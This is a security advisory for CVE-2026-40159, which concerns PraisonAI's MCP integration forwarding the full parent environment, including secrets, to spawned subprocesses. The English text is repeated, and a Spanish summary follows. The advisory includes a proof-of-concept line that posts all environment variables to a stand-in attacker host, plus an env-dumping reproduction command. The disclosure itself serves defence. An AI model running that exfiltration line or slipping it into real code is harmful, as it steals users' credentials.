CVE-2026-40159

PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP("npx -y @smithery/cli ...")`). These commands are executed through Python’s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess: ```python # src/praisonai-agents/praisonaiagents/mcp/mcp.py env = kwargs.get('env', {}) if not env: env = os.environ.copy() ``` As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials. This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets. ## Reproducing the Attack 1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned` 2. Start an MCP tool locally that dumps its inherited environment: ```python from praisonaiagents.mcp import MCP # The underlying MCP library spawns this command via subprocess and it dumps the variables mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"') ``` 3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they've been leaked to the untrusted command. ##POC ``` from praisonaiagents.mcp import MCP mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"') ``` ## Real-world Impact Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations. In supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user. ## Remediation Steps 1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user. 2. Provide a strict allowlist parameter for variables that the developer intends to pass down. 3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.

PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP("npx -y @smithery/cli ...")`). These commands are executed through Python’s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess: ```python # src/praisonai-agents/praisonaiagents/mcp/mcp.py env = kwargs.get('env', {}) if not env: env = os.environ.copy() ``` As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials. This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets. ## Reproducing the Attack 1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned` 2. Start an MCP tool locally that dumps its inherited environment: ```python from praisonaiagents.mcp import MCP # The underlying MCP library spawns this command via subprocess and it dumps the variables mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"') ``` 3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they've been leaked to the untrusted command. ##POC ``` from praisonaiagents.mcp import MCP mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"') ``` ## Real-world Impact Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations. In supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user. ## Remediation Steps 1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user. 2. Provide a strict allowlist parameter for variables that the developer intends to pass down. 3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.

PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.128, la integración del MCP (Protocolo de Contexto del Modelo) de PraisonAI permite generar servidores en segundo plano a través de stdio utilizando cadenas de comandos proporcionadas por el usuario (por ejemplo, MCP(’npx -y @smithery/cli ...’)). Estos comandos se ejecutan a través del módulo subprocess de Python. Por defecto, la implementación reenvía todo el entorno del proceso padre al subproceso generado. Como resultado, cualquier comando MCP ejecutado de esta manera hereda todas las variables de entorno del proceso anfitrión, incluyendo datos sensibles como claves de API, tokens de autenticación y credenciales de base de datos. Este comportamiento introduce un riesgo de seguridad cuando se utilizan comandos no confiables o de terceros. En escenarios comunes donde las herramientas MCP se invocan a través de ejecutores de paquetes como npx -y, código arbitrario de paquetes externos o potencialmente comprometidos puede ejecutarse con acceso a estas variables de entorno heredadas. Esto crea un riesgo de exposición no intencionada de credenciales y permite posibles ataques a la cadena de suministro a través de la exfiltración silenciosa de secretos. Esta vulnerabilidad se corrige en la versión 4.5.128.